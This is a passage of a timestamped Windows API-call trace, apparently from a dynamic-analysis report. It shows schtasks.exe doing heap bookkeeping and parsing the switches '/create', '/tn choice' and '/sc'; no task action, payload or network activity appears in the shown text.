returned 0x8 [0064.311] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23df80 | out: hHeap=0x220000) returned 1 [0064.311] GetProcessHeap () returned 0x220000 [0064.311] GetProcessHeap () returned 0x220000 [0064.311] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23ceb0) returned 1 [0064.311] GetProcessHeap () returned 0x220000 [0064.311] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23ceb0) returned 0x20 [0064.311] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23ceb0 | out: hHeap=0x220000) returned 1 [0064.311] GetProcessHeap () returned 0x220000 [0064.311] GetProcessHeap () returned 0x220000 [0064.311] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d6a0) returned 1 [0064.311] GetProcessHeap () returned 0x220000 [0064.312] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d6a0) returned 0x10 [0064.312] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d6a0 | out: hHeap=0x220000) returned 1 [0064.312] GetProcessHeap () returned 0x220000 [0064.312] GetProcessHeap () returned 0x220000 [0064.312] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cee0) returned 1 [0064.312] GetProcessHeap () returned 0x220000 [0064.312] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cee0) returned 0x20 [0064.312] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cee0 | out: hHeap=0x220000) returned 1 [0064.312] GetProcessHeap () returned 0x220000 [0064.312] GetProcessHeap () returned 0x220000 [0064.312] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23dfa0) returned 1 [0064.312] GetProcessHeap () returned 0x220000 [0064.312] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23dfa0) returned 0x6 [0064.312] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23dfa0 | out: hHeap=0x220000) returned 1 [0064.313] GetProcessHeap () returned 0x220000 [0064.313] GetProcessHeap () returned 0x220000 [0064.313] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cf10) returned 1 [0064.313] GetProcessHeap () returned 0x220000 [0064.313] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cf10) returned 0x20 [0064.313] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cf10 | out: hHeap=0x220000) returned 1 [0064.313] GetProcessHeap () returned 0x220000 [0064.313] GetProcessHeap () returned 0x220000 [0064.313] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235590) returned 1 [0064.313] GetProcessHeap () returned 0x220000 [0064.313] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235590) returned 0x18 [0064.313] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235590 | out: hHeap=0x220000) returned 1 [0064.314] SetLastError (dwErrCode=0x0) [0064.314] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0064.314] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0064.314] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0064.314] VerifyVersionInfoW (in: lpVersionInformation=0x13c7b0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x13c7b0) returned 1 [0064.314] SetLastError (dwErrCode=0x0) [0064.314] lstrlenW (lpString="create") returned 6 [0064.314] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0064.314] SetLastError (dwErrCode=0x490) [0064.314] SetLastError (dwErrCode=0x0) [0064.314] lstrlenW (lpString="create") returned 6 [0064.314] GetProcessHeap () returned 0x220000 [0064.314] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cf10 [0064.314] GetProcessHeap () returned 0x220000 [0064.314] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x18) returned 0x23d6a0 [0064.314] _memicmp (_Buf1=0x23d6a0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.314] GetProcessHeap () returned 0x220000 [0064.314] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x16) returned 0x23d6c0 [0064.314] SetLastError (dwErrCode=0x0) [0064.314] _memicmp (_Buf1=0x23bbf0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.314] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x23bd90, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0064.314] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0064.315] GetProcessHeap () returned 0x220000 [0064.315] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x74e) returned 0x23def0 [0064.315] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x23def0 | out: lpData=0x23def0) returned 1 [0064.315] VerQueryValueW (in: pBlock=0x23def0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x13c898, puLen=0x13c900 | out: lplpBuffer=0x13c898*=0x23e28c, puLen=0x13c900) returned 1 [0064.315] _memicmp (_Buf1=0x23bbf0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.315] _vsnwprintf (in: _Buffer=0x23bd90, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x13c878 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0064.315] VerQueryValueW (in: pBlock=0x23def0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x13c908, puLen=0x13c8f8 | out: lplpBuffer=0x13c908*=0x23e0b8, puLen=0x13c8f8) returned 1 [0064.315] lstrlenW (lpString="schtasks.exe") returned 12 [0064.315] lstrlenW (lpString="schtasks.exe") returned 12 [0064.315] lstrlenW (lpString=".EXE") returned 4 [0064.315] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0064.315] lstrlenW (lpString="schtasks.exe") returned 12 [0064.315] lstrlenW (lpString=".EXE") returned 4 [0064.316] lstrlenW (lpString="schtasks") returned 8 [0064.316] lstrlenW (lpString="/create") returned 7 [0064.316] _memicmp (_Buf1=0x23bbf0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.316] _vsnwprintf (in: _Buffer=0x23bd90, _BufferCount=0x19, _Format="%s %s", _ArgList=0x13c878 | out: _Buffer="schtasks /create") returned 16 [0064.316] _memicmp (_Buf1=0x23bc10, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.316] GetProcessHeap () returned 0x220000 [0064.316] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cee0 [0064.316] _memicmp (_Buf1=0x23bc30, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.316] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x23d440, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0064.316] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0064.316] GetProcessHeap () returned 0x220000 [0064.316] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x30) returned 0x237c50 [0064.316] _vsnwprintf (in: _Buffer=0x23c190, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x13c878 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0064.316] GetProcessHeap () returned 0x220000 [0064.316] GetProcessHeap () returned 0x220000 [0064.316] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23def0) returned 1 [0064.316] GetProcessHeap () returned 0x220000 [0064.316] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23def0) returned 0x74e [0064.317] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23def0 | out: hHeap=0x220000) returned 1 [0064.317] SetLastError (dwErrCode=0x0) [0064.317] GetThreadLocale () returned 0x409 [0064.317] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.317] lstrlenW (lpString="create") returned 6 [0064.317] GetThreadLocale () returned 0x409 [0064.317] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.317] lstrlenW (lpString="?") returned 1 [0064.317] GetThreadLocale () returned 0x409 [0064.317] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.317] lstrlenW (lpString="s") returned 1 [0064.317] GetThreadLocale () returned 0x409 [0064.317] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.317] lstrlenW (lpString="u") returned 1 [0064.317] GetThreadLocale () returned 0x409 [0064.317] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.317] lstrlenW (lpString="p") returned 1 [0064.317] GetThreadLocale () returned 0x409 [0064.317] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.318] lstrlenW (lpString="ru") returned 2 [0064.318] GetThreadLocale () returned 0x409 [0064.318] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.318] lstrlenW (lpString="rp") returned 2 [0064.318] GetThreadLocale () returned 0x409 [0064.318] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.318] lstrlenW (lpString="sc") returned 2 [0064.318] GetThreadLocale () returned 0x409 [0064.318] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.318] lstrlenW (lpString="mo") returned 2 [0064.318] GetThreadLocale () returned 0x409 [0064.318] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.318] lstrlenW (lpString="d") returned 1 [0064.318] GetThreadLocale () returned 0x409 [0064.318] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.318] lstrlenW (lpString="m") returned 1 [0064.318] GetThreadLocale () returned 0x409 [0064.318] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.318] lstrlenW (lpString="i") returned 1 [0064.318] GetThreadLocale () returned 0x409 [0064.318] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.318] lstrlenW (lpString="tn") returned 2 [0064.318] GetThreadLocale () returned 0x409 [0064.318] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.318] lstrlenW (lpString="tr") returned 2 [0064.318] GetThreadLocale () returned 0x409 [0064.318] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.318] lstrlenW (lpString="st") returned 2 [0064.318] GetThreadLocale () returned 0x409 [0064.318] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.318] lstrlenW (lpString="sd") returned 2 [0064.318] GetThreadLocale () returned 0x409 [0064.318] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.318] lstrlenW (lpString="ed") returned 2 [0064.318] GetThreadLocale () returned 0x409 [0064.318] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.318] lstrlenW (lpString="it") returned 2 [0064.319] GetThreadLocale () returned 0x409 [0064.319] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.319] lstrlenW (lpString="et") returned 2 [0064.319] GetThreadLocale () returned 0x409 [0064.319] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.319] lstrlenW (lpString="k") returned 1 [0064.319] GetThreadLocale () returned 0x409 [0064.319] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.319] lstrlenW (lpString="du") returned 2 [0064.319] GetThreadLocale () returned 0x409 [0064.319] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.319] lstrlenW (lpString="ri") returned 2 [0064.319] GetThreadLocale () returned 0x409 [0064.319] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.319] lstrlenW (lpString="z") returned 1 [0064.319] GetThreadLocale () returned 0x409 [0064.319] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.319] lstrlenW (lpString="f") returned 1 [0064.319] GetThreadLocale () returned 0x409 [0064.319] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.319] lstrlenW (lpString="v1") returned 2 [0064.319] GetThreadLocale () returned 0x409 [0064.319] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.319] lstrlenW (lpString="xml") returned 3 [0064.319] GetThreadLocale () returned 0x409 [0064.319] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.319] lstrlenW (lpString="ec") returned 2 [0064.319] GetThreadLocale () returned 0x409 [0064.319] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.319] lstrlenW (lpString="rl") returned 2 [0064.319] GetThreadLocale () returned 0x409 [0064.319] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.319] lstrlenW (lpString="delay") returned 5 [0064.319] GetThreadLocale () returned 0x409 [0064.319] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.319] lstrlenW (lpString="np") returned 2 [0064.319] SetLastError (dwErrCode=0x0) [0064.319] SetLastError (dwErrCode=0x0) [0064.320] lstrlenW (lpString="/create") returned 7 [0064.320] lstrlenW (lpString="-/") returned 2 [0064.320] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0064.320] lstrlenW (lpString="create") returned 6 [0064.320] lstrlenW (lpString="create") returned 6 [0064.320] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.320] lstrlenW (lpString="create") returned 6 [0064.320] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.320] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|create|") returned 8 [0064.320] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|create|") returned 8 [0064.320] lstrlenW (lpString="|create|") returned 8 [0064.320] lstrlenW (lpString="|create|") returned 8 [0064.320] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0064.320] SetLastError (dwErrCode=0x0) [0064.320] SetLastError (dwErrCode=0x0) [0064.320] SetLastError (dwErrCode=0x0) [0064.320] lstrlenW (lpString="/tn") returned 3 [0064.320] lstrlenW (lpString="-/") returned 2 [0064.320] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0064.320] lstrlenW (lpString="create") returned 6 [0064.320] lstrlenW (lpString="create") returned 6 [0064.320] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.320] lstrlenW (lpString="tn") returned 2 [0064.320] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.320] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|create|") returned 8 [0064.320] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|tn|") returned 4 [0064.320] lstrlenW (lpString="|create|") returned 8 [0064.320] lstrlenW (lpString="|tn|") returned 4 [0064.320] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0064.320] SetLastError (dwErrCode=0x490) [0064.320] lstrlenW (lpString="?") returned 1 [0064.320] lstrlenW (lpString="?") returned 1 [0064.320] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.321] lstrlenW (lpString="tn") returned 2 [0064.321] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.321] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|?|") returned 3 [0064.321] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|tn|") returned 4 [0064.321] lstrlenW (lpString="|?|") returned 3 [0064.321] lstrlenW (lpString="|tn|") returned 4 [0064.321] SetLastError (dwErrCode=0x490) [0064.321] lstrlenW (lpString="s") returned 1 [0064.321] lstrlenW (lpString="s") returned 1 [0064.321] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.321] lstrlenW (lpString="tn") returned 2 [0064.321] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.321] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|s|") returned 3 [0064.321] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|tn|") returned 4 [0064.321] lstrlenW (lpString="|s|") returned 3 [0064.321] lstrlenW (lpString="|tn|") returned 4 [0064.321] SetLastError (dwErrCode=0x490) [0064.321] lstrlenW (lpString="u") returned 1 [0064.321] lstrlenW (lpString="u") returned 1 [0064.321] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.321] lstrlenW (lpString="tn") returned 2 [0064.321] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.321] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|u|") returned 3 [0064.321] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|tn|") returned 4 [0064.321] lstrlenW (lpString="|u|") returned 3 [0064.321] lstrlenW (lpString="|tn|") returned 4 [0064.321] SetLastError (dwErrCode=0x490) [0064.321] lstrlenW (lpString="p") returned 1 [0064.321] lstrlenW (lpString="p") returned 1 [0064.321] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.321] lstrlenW (lpString="tn") returned 2 [0064.321] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.322] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|p|") returned 3 [0064.322] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|tn|") returned 4 [0064.322] lstrlenW (lpString="|p|") returned 3 [0064.322] lstrlenW (lpString="|tn|") returned 4 [0064.322] SetLastError (dwErrCode=0x490) [0064.322] lstrlenW (lpString="ru") returned 2 [0064.322] lstrlenW (lpString="ru") returned 2 [0064.322] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.322] lstrlenW (lpString="tn") returned 2 [0064.322] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.322] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|ru|") returned 4 [0064.322] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|tn|") returned 4 [0064.322] lstrlenW (lpString="|ru|") returned 4 [0064.322] lstrlenW (lpString="|tn|") returned 4 [0064.322] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0064.322] SetLastError (dwErrCode=0x490) [0064.322] lstrlenW (lpString="rp") returned 2 [0064.322] lstrlenW (lpString="rp") returned 2 [0064.322] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.322] lstrlenW (lpString="tn") returned 2 [0064.322] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.322] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|rp|") returned 4 [0064.322] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|tn|") returned 4 [0064.322] lstrlenW (lpString="|rp|") returned 4 [0064.322] lstrlenW (lpString="|tn|") returned 4 [0064.322] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0064.322] SetLastError (dwErrCode=0x490) [0064.322] lstrlenW (lpString="sc") returned 2 [0064.322] lstrlenW (lpString="sc") returned 2 [0064.322] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.323] lstrlenW (lpString="tn") returned 2 [0064.323] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.323] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|sc|") returned 4 [0064.323] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|tn|") returned 4 [0064.323] lstrlenW (lpString="|sc|") returned 4 [0064.323] lstrlenW (lpString="|tn|") returned 4 [0064.323] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0064.323] SetLastError (dwErrCode=0x490) [0064.323] lstrlenW (lpString="mo") returned 2 [0064.323] lstrlenW (lpString="mo") returned 2 [0064.323] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.323] lstrlenW (lpString="tn") returned 2 [0064.323] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.323] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|mo|") returned 4 [0064.323] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|tn|") returned 4 [0064.323] lstrlenW (lpString="|mo|") returned 4 [0064.323] lstrlenW (lpString="|tn|") returned 4 [0064.323] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0064.323] SetLastError (dwErrCode=0x490) [0064.323] lstrlenW (lpString="d") returned 1 [0064.323] lstrlenW (lpString="d") returned 1 [0064.323] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.323] lstrlenW (lpString="tn") returned 2 [0064.323] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.323] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|d|") returned 3 [0064.323] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|tn|") returned 4 [0064.323] lstrlenW (lpString="|d|") returned 3 [0064.323] lstrlenW (lpString="|tn|") returned 4 [0064.323] SetLastError (dwErrCode=0x490) [0064.323] lstrlenW (lpString="m") returned 1 [0064.323] lstrlenW (lpString="m") returned 1 [0064.324] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.324] lstrlenW (lpString="tn") returned 2 [0064.324] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.324] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|m|") returned 3 [0064.324] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|tn|") returned 4 [0064.324] lstrlenW (lpString="|m|") returned 3 [0064.324] lstrlenW (lpString="|tn|") returned 4 [0064.324] SetLastError (dwErrCode=0x490) [0064.324] lstrlenW (lpString="i") returned 1 [0064.324] lstrlenW (lpString="i") returned 1 [0064.324] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.324] lstrlenW (lpString="tn") returned 2 [0064.324] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.324] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|i|") returned 3 [0064.324] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|tn|") returned 4 [0064.324] lstrlenW (lpString="|i|") returned 3 [0064.324] lstrlenW (lpString="|tn|") returned 4 [0064.324] SetLastError (dwErrCode=0x490) [0064.324] lstrlenW (lpString="tn") returned 2 [0064.324] lstrlenW (lpString="tn") returned 2 [0064.324] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.324] lstrlenW (lpString="tn") returned 2 [0064.324] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.324] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|tn|") returned 4 [0064.324] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|tn|") returned 4 [0064.324] lstrlenW (lpString="|tn|") returned 4 [0064.324] lstrlenW (lpString="|tn|") returned 4 [0064.324] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0064.324] SetLastError (dwErrCode=0x0) [0064.324] SetLastError (dwErrCode=0x0) [0064.324] lstrlenW (lpString="choice") returned 6 [0064.325] lstrlenW (lpString="-/") returned 2 [0064.325] StrChrIW (lpStart="-/", wMatch=0x63) returned 0x0 [0064.325] SetLastError (dwErrCode=0x490) [0064.325] SetLastError (dwErrCode=0x490) [0064.325] SetLastError (dwErrCode=0x0) [0064.325] lstrlenW (lpString="choice") returned 6 [0064.325] StrChrIW (lpStart="choice", wMatch=0x3a) returned 0x0 [0064.325] SetLastError (dwErrCode=0x490) [0064.325] SetLastError (dwErrCode=0x0) [0064.325] lstrlenW (lpString="choice") returned 6 [0064.325] SetLastError (dwErrCode=0x0) [0064.325] SetLastError (dwErrCode=0x0) [0064.325] lstrlenW (lpString="/sc") returned 3 [0064.325] lstrlenW (lpString="-/") returned 2 [0064.325] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0064.325] lstrlenW (lpString="create") returned 6 [0064.325] lstrlenW (lpString="create") returned 6 [0064.325] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.325] lstrlenW (lpString="sc") returned 2 [0064.325] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 